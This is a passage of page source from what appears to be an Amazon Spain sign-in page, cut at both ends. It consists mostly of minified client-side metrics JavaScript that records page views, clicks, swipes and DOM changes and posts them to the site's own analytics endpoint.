                a.ifr = h.top !== h.self || h.frameElement ? 1 : 0;
                a.markers = null;
                a.attach = A;
                a.detach = T;
                if ("000-0000000-8675309" === d.ue_sid) {
                    var $ =
                        I("cdn-rid"),
                        aa = I("session-id");
                    $ && aa && O($, aa, "cdn")
                }
                d.uei = Z;
                d.ueh = R;
                d.ues = e;
                d.uet = y;
                d.uex = S;
                a.reset = O;
                a.pause = function(d) {
                    a.paused = d
                };
                Z()
            })(ue_csm, ue_csm.window, ue_csm.document);


            ue.stub(ue, "log");
            ue.stub(ue, "onunload");
            ue.stub(ue, "onflush");
            (function(b) {
                function g() {
                    var a = {
                        requestId: b.ue_id || "rid",
                        server: b.ue_sn || "sn",
                        obfuscatedMarketplaceId: b.ue_mid || "mid"
                    };
                    b.ue_sjslob && (a.lob = b.ue_lob || "0");
                    return a
                }
                var a = b.ue,
                    h = 1 === b.ue_no_counters;
                a.cv = {};
                a.cv.scopes = {};
                a.cv.buffer = [];
                a.count = function(b, f, c) {
                    var e = {},
                        d = a.cv,
                        g = c && 0 === c.c;
                    e.counter = b;
                    e.value = f;
                    e.t = a.d();
                    c && c.scope && (d = a.cv.scopes[c.scope] = a.cv.scopes[c.scope] || {}, e.scope = c.scope);
                    if (void 0 === f) return d[b];
                    d[b] = f;
                    d = 0;
                    c && c.bf && (d = 1);
                    h || (ue_csm.ue_sclog || !a.clog || 0 !== d || g ? a.log && a.log(e,
                        "csmcount", {
                            c: 1,
                            bf: d
                        }) : a.clog(e, "csmcount", {
                        bf: d
                    }));
                    a.cv.buffer.push({
                        c: b,
                        v: f
                    })
                };
                a.count("baselineCounter2", 1);
                a && a.event && (a.event(g(), "csm", "csm.CSMBaselineEvent.4"), a.count("nexusBaselineCounter", 1, {
                    bf: 1
                }))
            })(ue_csm);



            var ue_hoe = +new Date();
        }
        window.ueinit = window.ue_ihb;
    </script>

    <!-- ctzqmqzljkox8hoi69yytvh5np4rizgyoxslr6 -->
    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 10178)
    </script>



    <title>

    </title>







    <link type="text/css" href="https://m.media-amazon.com/images/G/30/x-locale/common/errors-alerts/error-styles-ssl._CB485946634_.css" rel="stylesheet" />








    <link type="text/css" href="https://m.media-amazon.com/images/G/30/authportal/common/css/ap_global._CB485970816_.css" rel="stylesheet" />










    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <script type='text/javascript'>
        window.ue_ihe = (window.ue_ihe || 0) + 1;
        if (window.ue_ihe === 1) {
            (function(c) {
                c && 1 === c.ue_jsmtf && "object" === typeof c.P && "function" === typeof c.P.when && c.P.when("mshop-interactions").execute(function(e) {
                    "object" === typeof e && "function" === typeof e.addListener && e.addListener(function(b) {
                        "object" === typeof b && "ORIGIN" === b.dataSource && "number" === typeof b.clickTime && "object" === typeof b.events && "number" === typeof b.events.pageVisible && (c.ue_jsmtf_interaction = {
                            pv: b.events.pageVisible,
                            ct: b.clickTime
                        })
                    })
                })
            })(ue_csm);
            (function(c, e, b) {
                function m(a) {
                    f || (f = d[a.type].id, "undefined" === typeof a.clientX ? (h = a.pageX, k = a.pageY) : (h = a.clientX, k = a.clientY), 2 != f || l && (l != h || n != k) ? (r(), g.isl && e.setTimeout(function() {
                        p("at", g.id)
                    }, 0)) : (l = h, n = k, f = 0))
                }

                function r() {
                    for (var a in d) d.hasOwnProperty(a) && g.detach(a, m, d[a].parent)
                }

                function s() {
                    for (var a in d) d.hasOwnProperty(a) && g.attach(a, m, d[a].parent)
                }

                function t() {
                    var a = "";
                    !q && f && (q = 1, a += "&ui=" + f);
                    return a
                }
                var g = c.ue,
                    p = c.uex,
                    q = 0,
                    f = 0,
                    l, n, h, k, d = {
                        click: {
                            id: 1,
                            parent: b
                        },
                        mousemove: {
                            id: 2,
                            parent: b
                        },
                        scroll: {
                            id: 3,
                            parent: e
                        },
                        keydown: {
                            id: 4,
                            parent: b
                        }
                    };
                g && p && (s(), g._ui = t)
            })(ue_csm, window, document);


            (function(s, l) {
                function m(b, e, c) {
                    c = c || new Date(+new Date + t);
                    c = "expires=" + c.toUTCString();
                    n.cookie = b + "=" + e + ";" + c + ";path=/"
                }

                function p(b) {
                    b += "=";
                    for (var e = n.cookie.split(";"), c = 0; c < e.length; c++) {
                        for (var a = e[c];
                            " " == a.charAt(0);) a = a.substring(1);
                        if (0 === a.indexOf(b)) return decodeURIComponent(a.substring(b.length, a.length))
                    }
                    return ""
                }

                function q(b, e, c) {
                    if (!e) return b; - 1 < b.indexOf("{") && (b = "");
                    for (var a = b.split("&"), f, d = !1, h = !1, g = 0; g < a.length; g++) f = a[g].split(":"), f[0] == e ? (!c || d ? a.splice(g, 1) : (f[1] = c, a[g] =
                        f.join(":")), h = d = !0) : 2 > f.length && (a.splice(g, 1), h = !0);
                    h && (b = a.join("&"));
                    !d && c && (0 < b.length && (b += "&"), b += e + ":" + c);
                    return b
                }
                var k = s.ue || {},
                    t = 3024E7,
                    n = ue_csm.document || l.document,
                    r = null,
                    d;
                a: {
                    try {
                        d = l.localStorage;
                        break a
                    } catch (u) {}
                    d = void 0
                }
                k.count && k.count("csm.cookieSize", document.cookie.length);
                k.cookie = {
                    get: p,
                    set: m,
                    updateCsmHit: function(b, e, c) {
                        try {
                            var a;
                            if (!(a = r)) {
                                var f;
                                a: {
                                    try {
                                        if (d && d.getItem) {
                                            f = d.getItem("csm-hit");
                                            break a
                                        }
                                    } catch (k) {}
                                    f = void 0
                                }
                                a = f || p("csm-hit") || "{}"
                            }
                            a = q(a, b, e);
                            r = a = q(a, "t", +new Date);
                            try {
                                d && d.setItem && d.setItem("csm-hit", a)
                            } catch (h) {}
                            m("csm-hit", a, c)
                        } catch (g) {
                            "function" == typeof l.ueLogError && ueLogError(Error("Cookie manager: " + g.message), {
                                logLevel: "WARN"
                            })
                        }
                    }
                }
            })(ue_csm, window);


            (function(l, e) {
                function c(b) {
                    b = "";
                    var c = a.isBFT ? "b" : "s",
                        d = "" + a.oid,
                        g = "" + a.lid,
                        h = d;
                    d != g && 20 == g.length && (c += "a", h += "-" + g);
                    a.tabid && (b = a.tabid + "+");
                    b += c + "-" + h;
                    b != f && 100 > b.length && (f = b, a.cookie ? a.cookie.updateCsmHit(m, b + ("|" + +new Date)) : e.cookie = "csm-hit=" + b + ("|" + +new Date) + n + "; path=/")
                }

                function p() {
                    f = 0
                }

                function d(b) {
                    !0 === e[a.pageViz.propHid] ? f = 0 : !1 === e[a.pageViz.propHid] && c({
                        type: "visible"
                    })
                }
                var n = "; expires=" + (new Date(+new Date + 6048E5)).toGMTString(),
                    m = "tb",
                    f, a = l.ue || {},
                    k = a.pageViz && a.pageViz.event &&
                    a.pageViz.propHid;
                a.attach && (a.attach("click", c), a.attach("keyup", c), k || (a.attach("focus", c), a.attach("blur", p)), k && (a.attach(a.pageViz.event, d, e), d({})));
                a.aftb = 1
            })(ue_csm, ue_csm.document);


            ue_csm.ue.stub(ue, "impression");


            ue.stub(ue, "trigger");


            if (window.ue && uet) {
                uet('bb');
            }

        }
    </script>
    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 3172)
    </script>
</head>

<body>

    <script>
        ! function() {
            function n(n, t) {
                var r = i(n);
                return t && (r = r("instance", t)), r
            }
            var r = [],
                c = 0,
                i = function(t) {
                    return function() {
                        var n = c++;
                        return r.push([t, [].slice.call(arguments, 0), n, {
                            time: Date.now()
                        }]), i(n)
                    }
                };
            n._s = r, this.csa = n
        }();;
        csa('Config', {});
        if (window.csa) {
            csa("Config", {

                'Events.Namespace': 'csa',
                'ObfuscatedMarketplaceId': 'A1RKKUPIHCS9HS',
                'Events.SushiEndpoint': 'https://unagi.amazon.es/1/events/com.amazon.csm.csa.prod',
                'CacheDetection.RequestID': "KE82YVBED2PEDHPE6KTZ",
                'CacheDetection.Callback': window.ue && ue.reset,
                'LCP.elementDedup': 1,
                'lob': '0'
            });

            csa("Events")("setEntity", {
                page: {
                    requestId: "KE82YVBED2PEDHPE6KTZ",
                    meaningful: "interactive"
                },
                session: {
                    id: "260-7076577-0538233"
                }
            });
        }! function(r) {
            var e, i, o = "splice",
                u = r.csa,
                f = {},
                c = {},
                a = r.csa._s,
                s = 0,
                l = 0,
                g = -1,
                h = {},
                v = {},
                d = {},
                n = Object.keys,
                p = function() {};

            function t(n, t) {
                return u(n, t)
            }

            function m(n, t) {
                var r = c[n] || {};
                k(r, t), c[n] = r, l++, S(U, 0)
            }

            function w(n, t, r) {
                var i = !0;
                return t = D(t), r && r.buffered && (i = (d[n] || []).every(function(n) {
                    return !1 !== t(n)
                })), i ? (h[n] || (h[n] = []), h[n].push(t), function() {
                    ! function(n, t) {
                        var r = h[n];
                        r && r[o](r.indexOf(t), 1)
                    }(n, t)
                }) : p
            }

            function b(n, t) {
                if (t = D(t), n in v) return t(v[n]), p;
                return w(n, function(n) {
                    return t(n), !1
                })
            }

            function y(n, t) {
                if (u("Errors")("logError", n), f.DEBUG) throw t || n
            }

            function E() {
                return Math.abs(4294967295 * Math.random() | 0).toString(36)
            }

            function D(n, t) {
                return function() {
                    try {
                        return n.apply(this, arguments)
                    } catch (n) {
                        y(n.message || n, n)
                    }
                }
            }

            function S(n, t) {
                return r.setTimeout(D(n), t)
            }

            function U() {
                for (var n = 0; n < a.length;) {
                    var t = a[n],
                        r = t[0] in c;
                    if (!r && !i) return void(s = a.length);
                    r ? (a[o](s = n, 1), I(t)) : n++
                }
                g = l
            }

            function I(n) {
                var t = c[n[0]],
                    r = n[1],
                    i = r[0];
                if (!t || !t[i]) return y("Undefined function: " + t + "/" + i);
                e = n[3], c[n[2]] = t[i].apply(t, r.slice(1)) || {}, e = 0
            }

            function O() {
                i = 1, U()
            }

            function k(t, r) {
                n(r).forEach(function(n) {
                    t[n] = r[n]
                })
            }
            b("$beforeunload", O), m("Config", {
                instance: function(n) {
                    k(f, n)
                }
            }), u.plugin = D(function(n) {
                n(t)
            }), t.config = f, t.register = m, t.on = w, t.once = b, t.blank = p, t.emit = function(n, t, r) {
                for (var i = h[n] || [], e = 0; e < i.length;) !1 === i[e](t) ? i[o](e, 1) : e++;
                v[n] = t || {}, r && r.buffered && (d[n] || (d[n] = []), 100 <= d[n].length && d[n].shift(), d[n].push(t || {}))
            }, t.UUID = function() {
                return [E(), E(), E(), E()].join("-")
            }, t.time = function(n) {
                var t = e ? new Date(e.time) : new Date;
                return "ISO" === n ? t.toISOString() : t.getTime()
            }, t.error = y, t.warn = function(n, t) {
                if (u("Errors")("logWarn", n), f.DEBUG) throw t || n
            }, t.exec = D, t.timeout = S, t.interval = function(n, t) {
                return r.setInterval(D(n), t)
            }, (t.global = r).csa._s.push = function(n) {
                n[0] in c && (!a.length || i) ? (I(n), a.length && g !== l && U()) : a[o](s++, 0, n)
            }, U(), S(function() {
                S(O, f.SkipMissingPluginsTimeout || 5e3)
            }, 1)
        }("undefined" != typeof window ? window : global);
        csa.plugin(function(o) {
            var f = "addEventListener",
                e = "requestAnimationFrame",
                t = o.exec,
                r = o.global,
                u = o.on;
            o.raf = function(n) {
                if (r[e]) return r[e](t(n))
            }, o.on = function(n, e, t, r) {
                if (n && "function" == typeof n[f]) {
                    var i = o.exec(t);
                    return n[f](e, i, r),
                        function() {
                            n.removeEventListener(e, i, r)
                        }
                }
                return "string" == typeof n ? u(n, e, t, r) : o.blank
            }
        });
        csa.plugin(function(o) {
            var t, n, r = {},
                e = "localStorage",
                c = "sessionStorage",
                a = "local",
                i = "session",
                u = o.exec;

            function s(e, t) {
                var n;
                try {
                    r[t] = !!(n = o.global[e]), n = n || {}
                } catch (e) {
                    r[t] = !(n = {})
                }
                return n
            }

            function f() {
                t = t || s(e, a), n = n || s(c, i)
            }

            function l(e) {
                return e && e[i] ? n : t
            }
            o.store = u(function(e, t, n) {
                f();
                var o = l(n);
                return e ? t ? void(o[e] = t) : o[e] : Object.keys(o)
            }), o.storageSupport = u(function() {
                return f(), r
            }), o.deleteStored = u(function(e, t) {
                f();
                var n = l(t);
                if ("function" == typeof e)
                    for (var o in n) n.hasOwnProperty(o) && e(o, n[o]) && delete n[o];
                else delete n[e]
            })
        });
        csa.plugin(function(n) {
            n.types = {
                ovl: function(n) {
                    var r = [];
                    if (n)
                        for (var i in n) n.hasOwnProperty(i) && r.push(n[i]);
                    return r
                }
            }
        });
        csa.plugin(function(c) {
            var e = c.config;

            function n(n) {
                return function(e) {
                    c("Metrics", {
                        producerId: "csa",
                        dimensions: {
                            message: e
                        }
                    })("recordMetric", n, 1)
                }
            }

            function r(r) {
                var o, t, l = c("Events", {
                        producerId: r.producerId,
                        lob: e.lob || "0"
                    }),
                    u = ["name", "type", "csm", "adb"],
                    i = {
                        url: "pageURL",
                        file: "f",
                        line: "l",
                        column: "c"
                    };
                this.log = function(e) {
                    if (! function(e) {
                            if (!e) return !0;
                            for (var n in e) return !1;
                            return !0
                        }(e)) {
                        var n = r.logOptions || {
                            ent: {
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        };
                        l("log", function(n) {
                            return o = c.UUID(), t = {
                                messageId: o,
                                schemaId: r.schemaId || "<ns>.Error.6",
                                errorMessage: n.m || null,
                                attribution: n.attribution || null,
                                logLevel: "FATAL",
                                url: null,
                                file: null,
                                line: null,
                                column: null,
                                stack: n.s || [],
                                context: n.cinfo || {},
                                metadata: {}
                            }, n.logLevel && (t.logLevel = "" + n.logLevel), u.forEach(function(e) {
                                n[e] && (t.metadata[e] = n[e])
                            }), "INFO" === n.logLevel || Object.keys(i).forEach(function(e) {
                                "number" != typeof n[i[e]] && "string" != typeof n[i[e]] || (t[e] = "" + n[i[e]])
                            }), t
                        }(e), n)
                    }
                }
            }
            c.register("Errors", {
                instance: function(e) {
                    return new r(e || {})
                },
                logError: n("jsError"),
                logWarn: n("jsWarn")
            })
        });
        csa.plugin(function(o) {
            var r, e, n, t, a, i = "function",
                u = "willDisappear",
                f = "$app.",
                p = "$document.",
                c = "focus",
                s = "blur",
                d = "active",
                l = "resign",
                $ = o.global,
                b = o.exec,
                m = o.config["Transport.AnonymizeRequests"] || !1,
                g = o("Events"),
                h = $.location,
                v = $.document || {},
                y = $.P || {},
                P = (($.performance || {}).navigation || {}).type,
                w = o.on,
                k = o.emit,
                E = v.hidden,
                T = {};
            h && v && (w($, "beforeunload", D), w($, "pagehide", D), w(v, "visibilitychange", R(p, function() {
                return v.visibilityState || "unknown"
            })), w(v, c, R(p + c)), w(v, s, R(p + s)), y.when && y.when("mash").execute(function(e) {
                e && (w(e, "appPause", R(f + "pause")), w(e, "appResume", R(f + "resume")), R(f + "deviceready")(), $.cordova && $.cordova.platformId && R(f + cordova.platformId)(), w(v, d, R(f + d)), w(v, l, R(f + l)))
            }), e = $.app || {}, n = b(function() {
                k(f + "willDisappear"), D()
            }), a = typeof(t = e[u]) == i, e[u] = b(function() {
                n(), a && t()
            }), $.app || ($.app = e), "complete" === v.readyState ? A() : w($, "load", A), E ? S() : x(), o.on("$app.blur", S), o.on("$app.focus", x), o.on("$document.blur", S), o.on("$document.focus", x), o.on("$document.hidden", S), o.on("$document.visible", x), o.register("SPA", {
                newPage: I
            }), I({
                transitionType: {
                    0: "hard",
                    1: "refresh",
                    2: "back-button"
                } [P] || "unknown"
            }));

            function I(n, e) {
                var t = !!r,
                    a = (e = e || {}).keepPageAttributes;
                t && (k("$beforePageTransition"), k("$pageTransition")), t && !a && g("removeEntity", "page"), r = o.UUID(), a ? T.id = r : T = {
                    schemaId: "<ns>.PageEntity.2",
                    id: r,
                    url: m ? h.href.split("?")[0] : h.href,
                    server: h.hostname,
                    path: h.pathname,
                    referrer: m ? v.referrer.split("?")[0] : v.referrer,
                    title: v.title
                }, Object.keys(n || {}).forEach(function(e) {
                    T[e] = n[e]
                }), g("setEntity", {
                    page: T
                }), k("$pageChange", T, {
                    buffered: 1
                }), t && k("$afterPageTransition")
            }

            function A() {
                k("$load"), k("$ready"), k("$afterload")
            }

            function D() {
                k("$ready"), k("$beforeunload"), k("$unload"), k("$afterunload")
            }

            function S() {
                E || (k("$visible", !1, {
                    buffered: 1
                }), E = !0)
            }

            function x() {
                E && (k("$visible", !0, {
                    buffered: 1
                }), E = !1)
            }

            function R(n, t) {
                return b(function() {
                    var e = typeof t == i ? n + t() : n;
                    k(e)
                })
            }
        });
        csa.plugin(function(c) {
            var e = "Events",
                n = "UNKNOWN",
                s = "id",
                a = "all",
                i = "messageId",
                o = "timestamp",
                u = "producerId",
                r = "application",
                f = "obfuscatedMarketplaceId",
                d = "entities",
                l = "schemaId",
                p = "version",
                v = "attributes",
                g = "<ns>",
                b = "lob",
                t = "session",
                h = c.config,
                m = (c.global.location || {}).host,
                I = h[e + ".Namespace"] || "csa_other",
                y = h.Application || "Other" + (m ? ":" + m : ""),
                O = h["Transport.AnonymizeRequests"] || !1,
                E = c("Transport"),
                U = {},
                A = function(e, t) {
                    Object.keys(e).forEach(t)
                };

            function N(n, i, o) {
                A(i, function(e) {
                    var t = o === a || (o || {})[e];
                    e in n || (n[e] = {
                        version: 1,
                        id: i[e][s] || c.UUID()
                    }), S(n[e], i[e], t)
                })
            }

            function S(t, n, i) {
                A(n, function(e) {
                    ! function(e, t, n) {
                        return "string" != typeof t && e !== p ? c.error("Attribute is not of type string: " + e) : !0 === n || 1 === n || (e === s || !!~(n || []).indexOf(e))
                    }(e, n[e], i) || (t[e] = n[e])
                })
            }

            function k(o, e, r) {
                A(e, function(e) {
                    var t = o[e];
                    if (t[l]) {
                        var n = {},
                            i = {};
                        n[s] = t[s], n[u] = t[u] || r[u], n[l] = t[l], n[p] = t[p]++, n[v] = i, w(n, r), S(i, t, 1), D(i), E("log", n)
                    }
                })
            }

            function w(e, t) {
                e[o] = function(e) {
                    return "number" == typeof e && (e = new Date(e).toISOString()), e || c.time("ISO")
                }(e[o]), e[i] = e[i] || c.UUID(), e[r] = y, e[f] = h.ObfuscatedMarketplaceId || n, e[l] = e[l].replace(g, I), t && t[b] && (e[b] = t[b])
            }

            function D(e) {
                delete e[p], delete e[l], delete e[u]
            }

            function T(o) {
                var r = {};
                this.log = function(e, t) {
                    var n = {},
                        i = (t || {}).ent;
                    return e ? "string" != typeof e[l] ? c.error("A valid schema id is required for the event") : (w(e, o), N(n, U, i), N(n, r, i), N(n, e[d] || {}, i), A(n, function(e) {
                        D(n[e])
                    }), e[u] = o[u], e[d] = n, t && t[b] && (e[b] = t[b]), void E("log", e, t)) : c.error("The event cannot be undefined")
                }, this.setEntity = function(e) {
                    O && delete e[t], N(r, e, a), k(r, e, o)
                }
            }
            h["KillSwitch." + e] || c.register(e, {
                setEntity: function(e) {
                    O && delete e[t], c.emit("$entities.set", e, {
                        buffered: 1
                    }), N(U, e, a), k(U, e, {
                        producerId: "csa",
                        lob: h[b] || "0"
                    })
                },
                removeEntity: function(e) {
                    delete U[e]
                },
                instance: function(e) {
                    return new T(e)
                }
            })
        });
        csa.plugin(function(s) {
            var c, g = "Transport",
                l = "post",
                f = "preflight",
                r = "csa.cajun.",
                i = "store",
                a = "deleteStored",
                u = "sendBeacon",
                t = "__merge",
                e = "messageId",
                n = ".FlushInterval",
                o = 0,
                d = s.config[g + ".BufferSize"] || 2e3,
                h = s.config[g + ".RetryDelay"] || 1500,
                p = s.config[g + ".AnonymizeRequests"] || !1,
                v = {},
                y = 0,
                m = [],
                E = s.global,
                R = E.document,
                b = s.timeout,
                k = E.Object.keys,
                w = s.config[g + n] || 5e3,
                I = w,
                O = s.config[g + n + ".BackoffFactor"] || 1,
                S = s.config[g + n + ".BackoffLimit"] || 3e4,
                B = 0;

            function T(n) {
                if (864e5 < s.time() - +new Date(n.timestamp)) return s.warn("Event is too old: " + n);
                y < d && (n[e] in v || (v[n[e]] = n, y++), "function" == typeof n[t] && n[t](v[n[e]]), !B && o && (B = b(q, function() {
                    var n = I;
                    return I = Math.min(n * O, S), n
                }())))
            }

            function q() {
                m.forEach(function(e) {
                    var o = [];
                    k(v).forEach(function(n) {
                        var t = v[n];
                        e.accepts(t) && o.push(t)
                    }), o.length && (e.chunks ? e.chunks(o).forEach(function(n) {
                        D(e, n)
                    }) : D(e, o))
                }), v = {}, B = 0
            }

            function D(t, e) {
                function o() {
                    s[a](r + n)
                }
                var n = s.UUID();
                s[i](r + n, JSON.stringify(e)), [function(n, t, e) {
                    var o = E.navigator || {},
                        r = E.cordova || {};
                    if (p) return 0;
                    if (!o[u] || !n[l]) return 0;
                    n[f] && r && "ios" === r.platformId && !c && ((new Image).src = n[f]().url, c = 1);
                    var i = n[l](t);
                    if (!i.type && o[u](i.url, i.body)) return e(), 1
                }, function(n, t, e) {
                    if (!n[l]) return 0;
                    var o = n[l](t),
                        r = o.url,
                        i = o.body,
                        c = o.type,
                        f = new XMLHttpRequest,
                        a = 0;

                    function u(n, t, e) {
                        f.open("POST", n), f.withCredentials = !p, e && f.setRequestHeader("Content-Type", e), f.send(t)
                    }
                    return f.onload = function() {
                        f.status < 299 ? e() : s.config[g + ".XHRRetries"] && a < 3 && b(function() {
                            u(r, i, c)
                        }, ++a * h)
                    }, u(r, i, c), 1
                }].some(function(n) {
                    try {
                        return n(t, e, o)
                    } catch (n) {}
                })
            }
            k && (s.once("$afterload", function() {
                o = 1,
                    function(e) {
                        (s[i]() || []).forEach(function(n) {
                            if (!n.indexOf(r)) try {
                                var t = s[i](n);
                                s[a](n), JSON.parse(t).forEach(e)
                            } catch (n) {
                                s.error(n)
                            }
                        })
                    }(T), s.on(R, "visibilitychange", q, !1), q()
            }), s.once("$afterunload", function() {
                o = 1, q()
            }), s.on("$afterPageTransition", function() {
                y = 0, I = w
            }), s.register(g, {
                log: T,
                register: function(n) {
                    m.push(n)
                }
            }))
        });
        csa.plugin(function(n) {
            var r = n.config["Events.SushiEndpoint"];
            n("Transport")("register", {
                accepts: function(n) {
                    return n.schemaId
                },
                post: function(n) {
                    var t = n.map(function(n) {
                        return {
                            data: n
                        }
                    });
                    return {
                        url: r,
                        body: JSON.stringify({
                            events: t
                        })
                    }
                },
                preflight: function() {
                    var n, t = /\/\/(.*?)\//.exec(r);
                    return t && t[1] && (n = "https://" + t[1] + "/ping"), {
                        url: n
                    }
                },
                chunks: function(n) {
                    for (var t = []; 500 < n.length;) t.push(n.splice(0, 500));
                    return t.push(n), t
                }
            })
        });
        csa.plugin(function(n) {
            var t, a, o, r, e = n.config,
                i = "PageViews",
                d = e[i + ".ImpressionMinimumTime"] || 1e3,
                s = "hidden",
                c = "innerHeight",
                l = "innerWidth",
                g = "renderedTo",
                f = g + "Viewed",
                m = g + "Meaningful",
                u = g + "Impressed",
                p = 1,
                v = 2,
                h = 3,
                w = 4,
                y = 5,
                P = "loaded",
                b = 7,
                I = 8,
                T = n.global,
                E = n.on,
                V = n("Events", {
                    producerId: "csa",
                    lob: e.lob || "0"
                }),
                $ = T.document,
                M = {},
                S = {},
                H = y;

            function K(e) {
                if (!M[b]) {
                    var i;
                    if (M[e] = n.time(), e !== h && e !== P || (t = t || M[e]), t && H === w) a = a || M[e], (i = {})[m] = t - o, i[f] = a - o, R("PageView.5", i), r = r || n.timeout(j, d);
                    if (e !== y && e !== p && e !== v || (clearTimeout(r), r = 0), e !== p && e !== v || R("PageRender.4", {
                            transitionType: e === p ? "hard" : "soft"
                        }), e === b)(i = {})[m] = t - o, i[f] = a - o, i[u] = M[e] - o, R("PageImpressed.3", i)
                }
            }

            function R(e, i) {
                S[e] || (i.schemaId = "<ns>." + e, V("log", i, {
                    ent: "all"
                }), S[e] = 1)
            }

            function W() {
                0 === T[c] && 0 === T[l] ? (H = I, n("Events")("setEntity", {
                    page: {
                        viewport: "hidden-iframe"
                    }
                })) : H = $[s] ? y : w, K(H)
            }

            function j() {
                K(b), r = 0
            }

            function k() {
                var e = o ? v : p;
                M = {}, S = {}, a = t = 0, o = n.time(), K(e), W()
            }

            function q() {
                var e = $.readyState;
                "interactive" === e && K(h), "complete" === e && K(P)
            }
            e["KillSwitch." + i] || ($ && void 0 !== $[s] ? (k(), E($, "visibilitychange", W, !1), E($, "readystatechange", q, !1), E("$afterPageTransition", k), E("$timing:loaded", q), n.once("$load", q)) : n.warn("Page visibility not supported"))
        });
        csa.plugin(function(c) {
            var s = c.config["Interactions.ParentChainLength"] || 35,
                e = "click",
                r = "touches",
                f = "timeStamp",
                o = "length",
                u = "pageX",
                g = "pageY",
                p = "pageXOffset",
                h = "pageYOffset",
                m = 250,
                v = 5,
                d = 200,
                l = .5,
                t = {
                    capture: !0,
                    passive: !0
                },
                X = c.global,
                Y = c.emit,
                n = c.on,
                x = X.Math.abs,
                a = (X.document || {}).documentElement || {},
                y = {
                    x: 0,
                    y: 0,
                    t: 0,
                    sX: 0,
                    sY: 0
                },
                N = {
                    x: 0,
                    y: 0,
                    t: 0,
                    sX: 0,
                    sY: 0
                };

            function b(t) {
                if (t.id) return "//*[@id='" + t.id + "']";
                var e = function(t) {
                        var e, n = 1;
                        for (e = t.previousSibling; e; e = e.previousSibling) e.nodeName === t.nodeName && (n += 1);
                        return n
                    }(t),
                    n = t.nodeName;
                return 1 !== e && (n += "[" + e + "]"), t.parentNode && (n = b(t.parentNode) + "/" + n), n
            }

            function I(t, e, n) {
                var a = c("Content", {
                        target: n
                    }),
                    i = {
                        schemaId: "<ns>.ContentInteraction.2",
                        interaction: t,
                        interactionData: e,
                        messageId: c.UUID()
                    };
                if (n) {
                    var r = b(n);
                    r && (i.attribution = r);
                    var o = function(t) {
                        for (var e = t, n = e.tagName, a = !1, i = t ? t.href : null, r = 0; r < s; r++) {
                            if (!e || !e.parentElement) {
                                a = !0;
                                break
                            }
                            n = (e = e.parentElement).tagName + "/" + n, i = i || e.href
                        }
                        return a || (n = ".../" + n), {
                            pc: n,
                            hr: i
                        }
                    }(n);
                    o.pc && (i.interactionData.parentChain = o.pc), o.hr && (i.interactionData.href = o.hr)
                }
                a("log", i), Y("$content.interaction", {
                    e: i,
                    w: a
                })
            }

            function i(t) {
                I(e, {
                    interactionX: "" + t.pageX,
                    interactionY: "" + t.pageY
                }, t.target)
            }

            function C(t) {
                if (t && t[r] && 1 === t[r][o]) {
                    var e = t[r][0];
                    N = y = {
                        e: t.target,
                        x: e[u],
                        y: e[g],
                        t: t[f],
                        sX: X[p],
                        sY: X[h]
                    }
                }
            }

            function D(t) {
                if (t && t[r] && 1 === t[r][o] && y && N) {
                    var e = t[r][0],
                        n = t[f],
                        a = n - N.t,
                        i = {
                            e: t.target,
                            x: e[u],
                            y: e[g],
                            t: n,
                            sX: X[p],
                            sY: X[h]
                        };
                    N = i, d <= a && (y = i)
                }
            }

            function E(t) {
                if (t) {
                    var e = x(y.x - N.x),
                        n = x(y.y - N.y),
                        a = x(y.sX - N.sX),
                        i = x(y.sY - N.sY),
                        r = t[f] - y.t;
                    if (m < 1e3 * e / r && v < e || m < 1e3 * n / r && v < n) {
                        var o = n < e;
                        o && a && e * l <= a || !o && i && n * l <= i || I((o ? "horizontal" : "vertical") + "-swipe", {
                            interactionX: "" + y.x,
                            interactionY: "" + y.y,
                            endX: "" + N.x,
                            endY: "" + N.y
                        }, y.e)
                    }
                }
            }
            n(a, e, i, t), n(a, "touchstart", C, t), n(a, "touchmove", D, t), n(a, "touchend", E, t)
        });
        csa.plugin(function(r) {
            var a, o, t, c, e, n = "MutationObserver",
                f = "observe",
                u = "disconnect",
                i = "mutObs",
                l = "_csa_flt",
                b = "_csa_llt",
                m = "_csa_mr",
                d = "_csa_mi",
                v = "lastChild",
                p = "length",
                _ = {
                    childList: !0,
                    subtree: !0
                },
                g = 10,
                h = 25,
                s = 1e3,
                y = 4,
                O = r.global,
                k = O.document,
                w = k.body || k.documentElement,
                I = Date.now,
                L = [],
                B = [],
                M = [],
                Y = 0,
                $ = 0,
                x = 0,
                A = 1,
                C = [],
                D = [],
                E = 0,
                F = r.blank,
                N = {
                    buffered: 1
                },
                S = 0;

            function T(e) {
                r.global.ue_csa_ss_tag || r.emit("$csmTag:" + e, 0, N)
            }
            I && O[n] ? (T(i + "Yes"), Y = 0, o = new O[n](j), (t = new O[n](V))[f](w, {
                attributes: !0,
                subtree: !0,
                attributeFilter: ["src"],
                attributeOldValue: !0
            }), F = r.on(O, "scroll", q, {
                passive: !0
            }), r.once("$ready", H), A && (G(), e = r.interval(z, s)), r.register("SpeedIndexBuffers", {
                getBuffers: function(e) {
                    e && (H(), q(), e(Y, C, L, B, M), o && o[u](), t && t[u](), F())
                },
                registerListener: function(e) {
                    a = e
                },
                replayModuleIsLive: function() {
                    r.timeout(H, 0)
                }
            })) : T(i + "No");

            function V(e) {
                L.push({
                    t: I(),
                    m: e
                })
            }

            function j(e) {
                B.push({
                    t: I(),
                    m: e
                }), S || T(i + "Active"), S = x = 1, a && a()
            }

            function q() {
                x && (M.push({
                    t: I(),
                    y: $
                }), $ = O.pageYOffset, x = 0)
            }

            function z() {
                var e = I();
                (!c || s < e - c) && G()
            }

            function G() {
                for (var e = w, t = I(), n = [], u = [], i = 0, s = 0; e;) e[l] ? ++i : (e[l] = t, n.push(e), s = 1), u[p] < y && u.push(e), e[d] = E, e[b] = t, e = e[v];
                s && (i < D[p] && function(e) {
                    for (var t = e, n = D[p]; t < n; t++) {
                        var u = D[t];
                        if (u) {
                            if (u[m]) break;
                            if (u[d] < E) {
                                u[m] = 1, o[f](u, _);
                                break
                            }
                        }
                    }
                }(i), D = u, C.push({
                    t: t,
                    m: n
                }), ++E, x = s, a && a()), A && r.timeout(G, s ? g : h), c = t
            }

            function H() {
                A && (A = 0, e && O.clearInterval(e), e = null, G(), o[f](w, _))
            }
        });

        var ue_csa_ss_tag = false;
        csa.plugin(function(b) {
            var a = b.global,
                e = a.uet,
                f = a.uex,
                c = a.ue,
                d = a.Object,
                g = 0,
                h = {
